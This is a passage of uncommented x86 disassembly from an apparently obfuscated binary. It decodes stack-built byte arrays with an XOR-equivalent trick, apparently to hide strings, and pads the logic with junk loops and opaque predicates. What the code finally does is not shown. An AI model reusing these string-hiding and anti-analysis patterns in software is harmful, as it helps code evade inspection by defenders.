mov byte [ebp - 0x257], 7
mov byte [ebp - 0x256], 3
mov byte [ebp - 0x255], 7
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x2c8]
or eax, 0x22
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x2c8]
and ecx, 0x22
sub eax, ecx
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
movzx ecx, byte [ebp + ecx - 0x2c8]
mov byte [ebp + ecx - 0x5a0], al
mov dword [ebp - 0x28], 2
and dword [ebp - 0x104], 0
jmp 0x10044606
mov eax, dword [ebp - 0x28]
inc eax
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0x74
jae 0x100446f3
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x2c8]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x28], eax
jne 0x10044650
mov eax, dword [ebp - 0x28]
movzx eax, byte [ebp + eax - 0x2c8]
inc eax
mov dword [ebp - 0x104], eax
mov eax, dword [ebp - 0x28]
movzx eax, byte [ebp + eax - 0x2c8]
mov ecx, dword [ebp - 0x28]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x28], eax
jmp 0x100445fe
mov eax, dword [ebp - 0x28]
movzx eax, byte [ebp + eax - 0x2c7]
mov ecx, dword [ebp - 0x28]
sub ecx, dword [ebp - 0x104]
movzx ecx, byte [ebp + ecx - 0x2ca]
movsx ecx, byte [ebp + ecx - 0x5a0]
add eax, ecx
mov ecx, dword [ebp - 0x28]
movzx ecx, byte [ebp + ecx - 0x2c7]
mov edx, dword [ebp - 0x28]
sub edx, dword [ebp - 0x104]
movzx edx, byte [ebp + edx - 0x2ca]
movsx edx, byte [ebp + edx - 0x5a0]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x28]
movzx ecx, byte [ebp + ecx - 0x2c7]
mov edx, dword [ebp - 0x28]
sub edx, dword [ebp - 0x104]
movzx edx, byte [ebp + edx - 0x2ca]
movsx edx, byte [ebp + edx - 0x5a0]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x28]
movzx ecx, byte [ebp + ecx - 0x2c8]
mov byte [ebp + ecx - 0x5a0], al
push 0
push 0x6dac
lea eax, [ebp - 0x104]
push eax
call fcn.1004319b
add esp, 0xc
jmp 0x100445fe
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x5a0], 0
mov dword [ebp - 0xec], 8
mov dword [ebp - 0x49c], 0x6f5020f8
push 4
lea ecx, [ebp - 0x7cc]
call fcn.100159d0
mov dword [ebp - 4], 8
mov dword [ebp - 0x3a4], 0xffffffff
mov dword [ebp - 0x3c4], 0x1d4595a2
mov dword [ebp - 0x2c], 0
jmp 0x1004474d
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 4
jge 0x10044769
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x7cc]
call fcn.10015a6e
mov dword [eax], 1
jmp 0x10044746
mov dword [ebp - 0x2c], 0
jmp 0x10044779
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 4
jge 0x1004478f
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x978], 0x835a
jmp 0x10044772
mov dword [ebp - 0x2c], 0
jmp 0x1004479f
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 1
jge 0x100447b5
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x6f0], 3
jmp 0x10044798
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x978]
dec eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x978], eax
mov dword [ebp - 0xec], 5
jmp 0x100447e7
mov eax, dword [ebp - 0xec]
inc eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0x15
jl 0x10044941
mov dword [ebp - 0x154], 0xffffffff
mov dword [ebp - 0x3b4], 0xfffffffe
mov byte [ebp - 0xa0], 0
movzx eax, byte [ebp - 0xa0]
test eax, eax
je 0x10044828
push 0
push 0x556f
call fcn.1004292f
pop ecx
pop ecx
mov eax, dword [ebp - 0x3a4]
cmp dword [ebp - 0x3a4], eax
jl 0x10044842
mov dword [ebp - 0x3ac], 1
jmp 0x10044849
and dword [ebp - 0x3ac], 0
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0x51c], eax
push 3
lea ecx, [ebp - 0x7cc]
call fcn.10015a6e
mov ecx, dword [ebp - 0x51c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x51c]
mov dword [ebp - 0x49c], eax
mov eax, dword [ebp - 0x3ac]
mov dword [ebp - 0x3b4], eax
mov eax, dword [ebp - 0x49c]
mov dword [ebp - 0x860], eax
mov eax, dword [ebp - 0x3b4]
mov dword [ebp - 0x868], eax
mov eax, dword [ebp - 0xec]
mov dword [ebp - 0x870], eax
imul eax, dword [ebp - 0x154], 0x6d21
cmp eax, dword [ebp - 0x154]
jne 0x100448c4
mov dword [ebp - 0x514], 1
jmp 0x100448cb
and dword [ebp - 0x514], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x978]
cmp dword [ebp - 0x514], eax
jl 0x100448ec
mov dword [ebp - 0x3bc], 1
jmp 0x100448f3
and dword [ebp - 0x3bc], 0
mov eax, dword [ebp - 0x154]
mov ecx, dword [ebp - 0x3bc]
neg ecx
neg ecx
add eax, ecx
cmp eax, 0xfffffff7
jbe 0x10044916
mov dword [ebp - 0x4a4], 1
jmp 0x1004491d
and dword [ebp - 0x4a4], 0
mov eax, dword [ebp - 0x4a4]
mov dword [ebp - 0x3c4], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x3c4]
mov dword [ebp + eax - 0x6f0], ecx
jmp 0x100447da
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x7cc]
call fcn.10015a52
lea eax, [ebp - 0x5a0]
push eax
lea ecx, [ebp - 0xad4]
call fcn.10023bd0
mov dword [ebp - 0x5ec], eax
mov eax, dword [ebp - 0x5ec]
mov dword [ebp - 0x690], eax
mov dword [ebp - 4], 9
push 0xa
xor edx, edx
mov ecx, dword [ebp - 0x690]
call fcn.1002d3ad
pop ecx
mov dword [ebp - 0x60c], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xad4]
call fcn.10015932
mov dword [ebp - 0x4c], 0xffffffff
push 4
lea ecx, [ebp - 0x340]
call fcn.100159d0
mov dword [ebp - 4], 0xa
mov dword [ebp - 0x48], 0xffffffff
mov dword [ebp - 0x88], 0x8555145c
mov dword [ebp - 0x624], 0xea0a9f4f
mov dword [ebp - 0x1b4], 0
jmp 0x100449ef
mov eax, dword [ebp - 0x1b4]
inc eax
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 4
jge 0x10044a11
push dword [ebp - 0x1b4]
lea ecx, [ebp - 0x340]
call fcn.10015a6e
mov dword [eax], 0xdf3d37a5
jmp 0x100449e2
mov dword [ebp - 0x4c], 0
jmp 0x10044a21
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0xa
jle 0x10044b29
mov dword [ebp - 0x308], 0
mov dword [ebp - 0x5f4], 0xfffffff6
cmp dword [ebp - 0x308], 0
je 0x10044a4d
jmp 0x10044b29
cmp dword [ebp - 0x4c], 0xf5872d9e
ja 0x10044a62
mov dword [ebp - 0x2dc], 1
jmp 0x10044a69
and dword [ebp - 0x2dc], 0
push 0
lea ecx, [ebp - 0x340]
call fcn.10015a6e
mov ecx, dword [ebp - 0x2dc]
mov dword [eax], ecx
mov eax, dword [ebp - 0x2dc]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x308]
cmp dword [ebp - 0x48], eax
jne 0x10044a9e
mov dword [ebp - 0x524], 1
jmp 0x10044aa5
and dword [ebp - 0x524], 0
cmp dword [ebp - 0x524], 0xffffffff
ja 0x10044aba
mov dword [ebp - 0x4ac], 1
jmp 0x10044ac1
and dword [ebp - 0x4ac], 0
mov eax, dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], eax
jle 0x10044ad5
mov dword [ebp - 0x3cc], 1
jmp 0x10044adc
and dword [ebp - 0x3cc], 0
mov eax, dword [ebp - 0x3cc]
add eax, 0x46b8
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x88]
cmp dword [ebp - 0x4ac], eax
jne 0x10044b07
mov dword [ebp - 0x3d4], 1
jmp 0x10044b0e
and dword [ebp - 0x3d4], 0
mov eax, dword [ebp - 0x3d4]
mov dword [ebp - 0x308], eax
mov dword [ebp - 0x5f4], 0x245f5b1b
jmp 0x10044a1a
mov dword [ebp - 0x88], 0
jmp 0x10044b42
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 3
jg 0x10044cec
mov dword [ebp - 0x3e4], 1
mov dword [ebp - 0x48], 3
jmp 0x10044b69
mov eax, dword [ebp - 0x48]
dec eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
jl 0x10044ce7
mov dword [ebp - 0x3ec], 0x95e04a27
mov eax, dword [ebp - 0x624]
mov dword [ebp - 0x964], eax
push dword [ebp - 0x48]
lea ecx, [ebp - 0x340]
call fcn.10015a6e
mov eax, dword [eax]
sub eax, dword [ebp - 0x3e4]
jne 0x10044bbd
push dword [ebp - 0x48]
lea ecx, [ebp - 0x340]
call fcn.10015a6e
cmp dword [eax], 0
jne 0x10044bbd
and dword [ebp - 0x52c], 0
jmp 0x10044bc7
mov dword [ebp - 0x52c], 1
push dword [ebp - 0x48]
lea ecx, [ebp - 0x340]
call fcn.10015a6e
mov ecx, dword [ebp - 0x52c]
cmp ecx, dword [eax]
jl 0x10044beb
mov dword [ebp - 0x3dc], 1
jmp 0x10044bf2
and dword [ebp - 0x3dc], 0
cmp dword [ebp - 0x3dc], 0
jne 0x10044c08
push 3
lea ecx, [ebp - 0x340]
call fcn.10015a6e
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
mov esi, dword [ebp - 0x4c]
push dword [ebp - 0x48]
lea ecx, [ebp - 0x340]
call fcn.10015a6e
cmp dword [eax], esi
jne 0x10044c2f
mov dword [ebp - 0x4b4], 1
jmp 0x10044c36
and dword [ebp - 0x4b4], 0
mov eax, dword [ebp - 0x3ec]
cmp dword [ebp - 0x4b4], eax
je 0x10044c50
mov dword [ebp - 0x520], 1
jmp 0x10044c57
and dword [ebp - 0x520], 0
mov eax, dword [ebp - 0x3e4]
cmp dword [ebp - 0x520], eax
jl 0x10044c71
mov dword [ebp - 0x4bc], 1
jmp 0x10044c78
and dword [ebp - 0x4bc], 0
mov eax, dword [ebp - 0x3ec]
cmp dword [ebp - 0x4bc], eax
jg 0x10044c92
mov dword [ebp - 0x3f4], 1
jmp 0x10044c99
and dword [ebp - 0x3f4], 0
cmp dword [ebp - 0x3f4], 0xffffffff
jne 0x10044cae
mov dword [ebp - 0x570], 1
jmp 0x10044cb5
and dword [ebp - 0x570], 0
push dword [ebp - 0x88]
lea ecx, [ebp - 0x340]
call fcn.10015a6e
mov ecx, dword [ebp - 0x570]
mov dword [eax], ecx
mov byte [ebp - 0x7d], 0
movzx eax, byte [ebp - 0x7d]
test eax, eax
je 0x10044ce2
push 1
call fcn.10041eeb
pop ecx
jmp 0x10044b62
jmp 0x10044b35
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x340]
call fcn.10015a52
and dword [ebp - 0x15c], 0
jmp 0x10044d11
mov eax, dword [ebp - 0x15c]
inc eax
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 0xb
jae 0x10044d2a
mov eax, dword [ebp - 0x15c]
mov byte [ebp + eax - 0x5a0], 0
jmp 0x10044d04
push 2
lea ecx, [ebp - 0x90c]
call fcn.100159d0
mov dword [ebp - 4], 0xb
mov dword [ebp - 0x198], 0xffffffff
mov dword [ebp - 0x1bc], 0
jmp 0x10044d61
mov eax, dword [ebp - 0x1bc]
inc eax
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 2
jge 0x10044d83
push dword [ebp - 0x1bc]
lea ecx, [ebp - 0x90c]
call fcn.10015a6e
mov dword [eax], 0x9b3198a8
jmp 0x10044d54
mov dword [ebp - 0x198], 0
jmp 0x10044d9c
mov eax, dword [ebp - 0x198]
inc eax
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 1
jg 0x10044dc1
mov byte [ebp - 0x81], 0
movzx eax, byte [ebp - 0x81]
test eax, eax
je 0x10044dbf
push 0
call fcn.10042611
pop ecx
jmp 0x10044d8f
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x90c]
call fcn.10015a52
mov byte [ebp - 0x1f4], 8
mov byte [ebp - 0x1f3], 0x7d
mov byte [ebp - 0x1f2], 9
mov byte [ebp - 0x1f1], 0
mov byte [ebp - 0x1f0], 1
mov byte [ebp - 0x1ef], 6
mov byte [ebp - 0x1ee], 2
mov byte [ebp - 0x1ed], 1
mov byte [ebp - 0x1ec], 6
mov byte [ebp - 0x1eb], 0xe
mov byte [ebp - 0x1ea], 7
mov byte [ebp - 0x1e9], 0xf
mov byte [ebp - 0x1e8], 3
mov byte [ebp - 0x1e7], 4
mov byte [ebp - 0x1e6], 5
mov byte [ebp - 0x1e5], 3
mov byte [ebp - 0x1e4], 0
mov byte [ebp - 0x1e3], 0
mov byte [ebp - 0x1e2], 0x21
mov byte [ebp - 0x1e1], 0x40
mov byte [ebp - 0x1e0], 0x8f
mov byte [ebp - 0x1df], 0xfb
mov byte [ebp - 0x1de], 0x79
mov byte [ebp - 0x1dd], 0x17
mov byte [ebp - 0x1dc], 0x15
mov byte [ebp - 0x1db], 1
mov byte [ebp - 0x1da], 2
mov byte [ebp - 0x1d9], 0x88
mov byte [ebp - 0x1d8], 0x19
mov byte [ebp - 0x1d7], 0x76
mov byte [ebp - 0x1d6], 0x8a
mov byte [ebp - 0x1d5], 0x82
mov byte [ebp - 0x1d4], 0x15
mov byte [ebp - 0x1d3], 0x64
mov byte [ebp - 0x1d2], 0xc4
mov byte [ebp - 0x1d1], 0xc4
mov byte [ebp - 0x1d0], 0x84
mov byte [ebp - 0x1cf], 0x5e
mov byte [ebp - 0x1ce], 0xad
mov byte [ebp - 0x1cd], 0xfb
mov byte [ebp - 0x1cc], 0xb0
mov byte [ebp - 0x1cb], 0xe6
mov byte [ebp - 0x1ca], 0x60
mov byte [ebp - 0x1c9], 0x9e
mov byte [ebp - 0x1c8], 0x9e
mov byte [ebp - 0x1c7], 0x73
mov byte [ebp - 0x1c6], 0x2d
mov byte [ebp - 0x1c5], 0x7a
mov byte [ebp - 0x1c4], 0x7a
mov byte [ebp - 0x1c3], 0
mov byte [ebp - 0x1c2], 0x64
mov byte [ebp - 0x1c1], 0x13
mov byte [ebp - 0x1c0], 4
mov byte [ebp - 0x1bf], 5
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x1f4]
or eax, 0x4d
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x1f4]
and ecx, 0x4d
sub eax, ecx
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
movzx ecx, byte [ebp + ecx - 0x1f4]
mov byte [ebp + ecx - 0x5ac], al
mov dword [ebp - 0x20], 2
and dword [ebp - 0xfc], 0
jmp 0x10044f9b
mov eax, dword [ebp - 0x20]
inc eax
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x36
jae 0x10045079
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x1f4]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x20], eax
jne 0x10044fe5
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x1f4]
inc eax
mov dword [ebp - 0xfc], eax
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x1f4]
mov ecx, dword [ebp - 0x20]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x20], eax
jmp 0x10044f93
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x1f3]
mov ecx, dword [ebp - 0x20]
sub ecx, dword [ebp - 0xfc]
movzx ecx, byte [ebp + ecx - 0x1f6]
movsx ecx, byte [ebp + ecx - 0x5ac]
add eax, ecx
mov ecx, dword [ebp - 0x20]
movzx ecx, byte [ebp + ecx - 0x1f3]
mov edx, dword [ebp - 0x20]
sub edx, dword [ebp - 0xfc]
movzx edx, byte [ebp + edx - 0x1f6]
movsx edx, byte [ebp + edx - 0x5ac]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x20]
movzx ecx, byte [ebp + ecx - 0x1f3]
mov edx, dword [ebp - 0x20]
sub edx, dword [ebp - 0xfc]
movzx edx, byte [ebp + edx - 0x1f6]
movsx edx, byte [ebp + edx - 0x5ac]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x20]
movzx ecx, byte [ebp + ecx - 0x1f4]
mov byte [ebp + ecx - 0x5ac], al
and dword [ebp - 0xfc], 0
jmp 0x10044f93
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x5ac], 0
lea eax, [ebp - 0x5ac]
push eax
lea ecx, [ebp - 0xa38]
call fcn.10023bd0
mov dword [ebp - 0x5fc], eax
mov eax, dword [ebp - 0x5fc]
mov dword [ebp - 0x62c], eax
mov dword [ebp - 4], 0xc
push 0xa
xor edx, edx
mov ecx, dword [ebp - 0x62c]
call fcn.1002d3ad
pop ecx
mov dword [ebp - 0x634], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa38]
call fcn.10015932
and dword [ebp - 0x168], 0
jmp 0x100450ed
mov eax, dword [ebp - 0x168]
inc eax
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 0xb
jae 0x10045106
mov eax, dword [ebp - 0x168]
mov byte [ebp + eax - 0x5ac], 0
jmp 0x100450e0
push 2
lea ecx, [ebp - 0x7e4]
call fcn.100159d0
mov dword [ebp - 4], 0xd
mov dword [ebp - 0xcc], 0
mov dword [ebp - 0x980], 9
lea eax, [ebp - 0x7e4]
push eax
push 1
lea eax, [ebp - 0x988]
push eax
push 0x73f0
call fcn.10041f21
add esp, 0x10
mov dword [ebp - 0xcc], 0
jmp 0x10045164
mov eax, dword [ebp - 0xcc]
inc eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 1
jg 0x100451a2
mov dword [ebp - 0x604], 0x351f2000
mov dword [ebp - 0x990], 0xffffffff
lea eax, [ebp - 0x604]
push eax
push 0
lea eax, [ebp - 0x7e4]
push eax
lea eax, [ebp - 0xcc]
push eax
call fcn.10042470
add esp, 0x10
jmp 0x10045157
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x7e4]
call fcn.10015a52
push dword [ebp - 0x634]
push dword [ebp - 0x60c]
call fcn.1003e846
pop ecx
pop ecx
mov dword [ebp - 0x4d4], eax
mov dword [ebp - 0x74], 0xbac64a68
mov dword [ebp - 0x998], 9
mov dword [ebp - 0x318], 0xfffffffc
mov dword [ebp - 0x2ec], 0x2a30a4cc
mov dword [ebp - 0x16c], 0xb39e2240
mov dword [ebp - 0x9a0], 1
mov dword [ebp - 0x68], 0
jmp 0x10045213
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 1
jge 0x10045229
mov eax, dword [ebp - 0x68]
mov dword [ebp + eax*4 - 0x528], 0xffffffff
jmp 0x1004520c
mov dword [ebp - 0x68], 0
jmp 0x10045239
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 2
jge 0x1004524f
mov eax, dword [ebp - 0x68]
mov dword [ebp + eax*4 - 0x334], 0x7fce6bb2
jmp 0x10045232
mov dword [ebp - 0x74], 0x11
jmp 0x1004525f
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0x1b
je 0x100452a2
mov dword [ebp - 0x63c], 0
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x958], eax
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x3fc], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x3fc]
mov dword [ebp + eax - 0x528], ecx
mov eax, dword [ebp - 0x3fc]
mov dword [ebp - 0x63c], eax
jmp 0x10045258
xor eax, eax
inc eax
je 0x100453ab
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x334]
mov dword [ebp - 0x97c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x334]
sub eax, 0x1d0b
cmp eax, 2
jl 0x100452e1
mov dword [ebp - 0x4c4], 1
jmp 0x100452e8
and dword [ebp - 0x4c4], 0
cmp dword [ebp - 0x4c4], 0x15b01d9
je 0x10045300
mov dword [ebp - 0x404], 1
jmp 0x10045307
and dword [ebp - 0x404], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x334]
cmp dword [ebp - 0x404], eax
je 0x10045328
mov dword [ebp - 0x614], 1
jmp 0x1004532f
and dword [ebp - 0x614], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x334]
mov dword [ebp - 0x8d0], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x334], 0
je 0x10045367
cmp dword [ebp - 0x318], 0
je 0x10045367
mov dword [ebp - 0x2e4], 1
jmp 0x1004536e
and dword [ebp - 0x2e4], 0
mov eax, dword [ebp - 0x16c]
inc eax
mov dword [ebp - 0x16c], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x2e4]
mov dword [ebp + eax - 0x334], ecx
mov eax, dword [ebp - 0x16c]
imul eax, dword [ebp - 0x2e4]
test eax, eax
je 0x100453ab
mov dword [ebp - 0x40c], 1
jmp 0x100453b2
and dword [ebp - 0x40c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x528]
cmp eax, dword [ebp - 0x40c]
je 0x100453d3
mov dword [ebp - 0x4cc], 1
jmp 0x100453da
and dword [ebp - 0x4cc], 0
mov eax, dword [ebp - 0x318]
cmp dword [ebp - 0x4cc], eax
jne 0x100453f4
mov dword [ebp - 0x414], 1
jmp 0x100453fb
and dword [ebp - 0x414], 0
cmp dword [ebp - 0x414], 0xfffffffb
ja 0x1004540d
cmp dword [ebp - 0x2ec], 0
je 0x1004541f
cmp dword [ebp - 0x74], 0
je 0x1004541f
mov dword [ebp - 0x550], 1
jmp 0x10045426
and dword [ebp - 0x550], 0
cmp dword [ebp - 0x550], 0x1348c89
jl 0x1004543e
mov dword [ebp - 0x41c], 1
jmp 0x10045445
and dword [ebp - 0x41c], 0
mov eax, dword [ebp - 0x74]
cmp dword [ebp - 0x41c], eax
jg 0x100454ba
push 3
lea ecx, [ebp - 0x79c]
call fcn.100159d0
mov dword [ebp - 4], 0xe
push 1
lea eax, [ebp - 0x79c]
push eax
lea eax, [ebp - 0x7f4]
push eax
push 0x4c9f
push 0x52
call fcn.10041f9c
add esp, 0x14
lea eax, [ebp - 0x2ec]
push eax
lea eax, [ebp - 0x79c]
push eax
lea eax, [ebp - 0x16c]
push eax
lea eax, [ebp - 0x318]
push eax
push 0
call fcn.100421f0
add esp, 0x14
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x79c]
call fcn.10015a52
jmp 0x100454e1
mov dword [ebp - 0x644], 0xfffffffe
push 0xe7c
lea eax, [ebp - 0x2ec]
push eax
push 1
lea eax, [ebp - 0x644]
push eax
call fcn.10042040
add esp, 0x10
mov eax, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0x4d4]
mov dword [eax + 8], ecx
lea eax, [ebp - 0x14]
push eax
push 1
lea eax, [ebp - 0x4d4]
push eax
call fcn.1004209f
add esp, 0xc
push 1
lea ecx, [ebp - 0x738]
call fcn.100159d0
mov dword [ebp - 4], 0xf
mov dword [ebp - 0x5c], 1
lea eax, [ebp - 0xd0]
push eax
push 0
lea eax, [ebp - 0x738]
push eax
call fcn.10042c14
add esp, 0xc
mov dword [ebp - 0xd0], 0
jmp 0x10045551
mov eax, dword [ebp - 0xd0]
inc eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 2
jge 0x1004556d
mov eax, dword [ebp - 0xd0]
mov dword [ebp + eax*4 - 0x898], 0
jmp 0x10045544
mov dword [ebp - 0x5c], 0
jmp 0x1004557d
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0
jg 0x1004559a
push dword [ebp - 0x5c]
lea ecx, [ebp - 0x738]
call fcn.10015a6e
cmp dword [eax], 0
je 0x10045598
jmp 0x1004559a
jmp 0x10045576
mov dword [ebp - 0x5c], 0
jmp 0x100455aa
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0
jg 0x1004576c
mov dword [ebp - 0x620], 0xf82
mov dword [ebp - 0x194], 0
jmp 0x100455d7
mov eax, dword [ebp - 0x194]
inc eax
mov dword [ebp - 0x194], eax
cmp dword [ebp - 0x194], 4
jge 0x100455f3
mov eax, dword [ebp - 0x194]
mov dword [ebp + eax*4 - 0x708], 0xb1658084
jmp 0x100455ca
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x708], 0
jmp 0x10045621
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x708]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x708], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x708], 0
jl 0x10045767
push 2
lea ecx, [ebp - 0x6cc]
call fcn.100159d0
mov byte [ebp - 4], 0x10
mov dword [ebp - 0x42c], 1
mov dword [ebp - 0x174], 0
jmp 0x10045669
mov eax, dword [ebp - 0x174]
inc eax
mov dword [ebp - 0x174], eax
cmp dword [ebp - 0x174], 2
jge 0x1004568b
push dword [ebp - 0x174]
lea ecx, [ebp - 0x6cc]
call fcn.10015a6e
mov dword [eax], 0xe124dc41
jmp 0x1004565c
push 4
pop eax
shl eax, 0
push dword [ebp + eax - 0x708]
lea ecx, [ebp - 0x738]
call fcn.10015a6e
push 0
lea ecx, [ebp - 0x6cc]
call fcn.10015a6e
mov dword [eax], 0xfffffff6
push 0xfffffffffffffff6
pop eax
test eax, eax
jne 0x100456d8
push 1
lea ecx, [ebp - 0x6cc]
call fcn.10015a6e
cmp dword [eax], 0
jne 0x100456d8
and dword [ebp - 0x424], 0
jmp 0x100456e2
mov dword [ebp - 0x424], 1
mov eax, dword [ebp - 0x620]
add eax, dword [ebp - 0x424]
je 0x1004570b
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x708], 0
je 0x1004570b
mov dword [ebp - 0x530], 1
jmp 0x10045712
and dword [ebp - 0x530], 0
mov eax, dword [ebp - 0x530]
mov dword [ebp - 0x42c], eax
mov eax, dword [ebp - 0x42c]
mov dword [ebp - 0x95c], eax
push 4
pop eax
shl eax, 0
mov esi, dword [ebp + eax - 0x708]
push 1
lea ecx, [ebp - 0x6cc]
call fcn.10015a6e
sub esi, dword [eax]
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x898], esi
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x6cc]
call fcn.10015a52
jmp 0x10045606
jmp 0x100455a3
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x738]
call fcn.10015a52
and dword [ebp - 0x100], 0
mov eax, dword [ebp - 0x14]
cmp dword [eax + 0x18], 0
jbe 0x100457aa
lea eax, [ebp - 0x100]
push eax
push 0
lea eax, [ebp - 0x14]
push eax
push 0x5fcf
push 0x2121
call fcn.100422ca
add esp, 0x14
mov dword [ebp - 0x1b8], 0xffffffff
mov byte [ebp - 0x9a], 0
movzx eax, byte [ebp - 0x9a]
test eax, eax
je 0x100457d4
push 1
push 0x1449
call fcn.100420ef
pop ecx
pop ecx
mov dword [ebp - 0x1b8], 0xffffffea
jmp 0x100457ed
mov eax, dword [ebp - 0x1b8]
inc eax
mov dword [ebp - 0x1b8], eax
cmp dword [ebp - 0x1b8], 0xffffffea
jg 0x1004580f
mov byte [ebp - 0x83], 0
push 1
lea eax, [ebp - 0x83]
push eax
call fcn.10042121
pop ecx
pop ecx
jmp 0x100457e0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x1c]
mov dword [ebp - 0x10], eax
push 2
lea ecx, [ebp - 0x11c]
call fcn.100159d0
mov dword [ebp - 4], 0x11
mov dword [ebp - 0x444], 0x161ab6ec
mov dword [ebp - 0x654], 0xd1d89e17
mov dword [ebp - 0x768], 0xcfeb4e52
mov dword [ebp - 0x764], 0xcfeb4e52
mov dword [ebp - 0x760], 0xcfeb4e52
mov dword [ebp - 0x75c], 0xcfeb4e52
lea ecx, [ebp - 0x311]
call fcn.10015a7d
push eax
lea eax, [ebp - 0x758]
push eax
lea eax, [ebp - 0x768]
push eax
lea ecx, [ebp - 0x9c0]
call fcn.10015a80
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x5d0]
call fcn.10015a2c
mov byte [ebp - 4], 0x12
mov dword [ebp - 0x698], 0xc3c62ed5
push 0x6c83
lea eax, [ebp - 0xe0]
push eax
lea eax, [ebp - 0x11c]
push eax
push 1
call fcn.10042167
add esp, 0x10
mov dword [ebp - 0xe0], 0
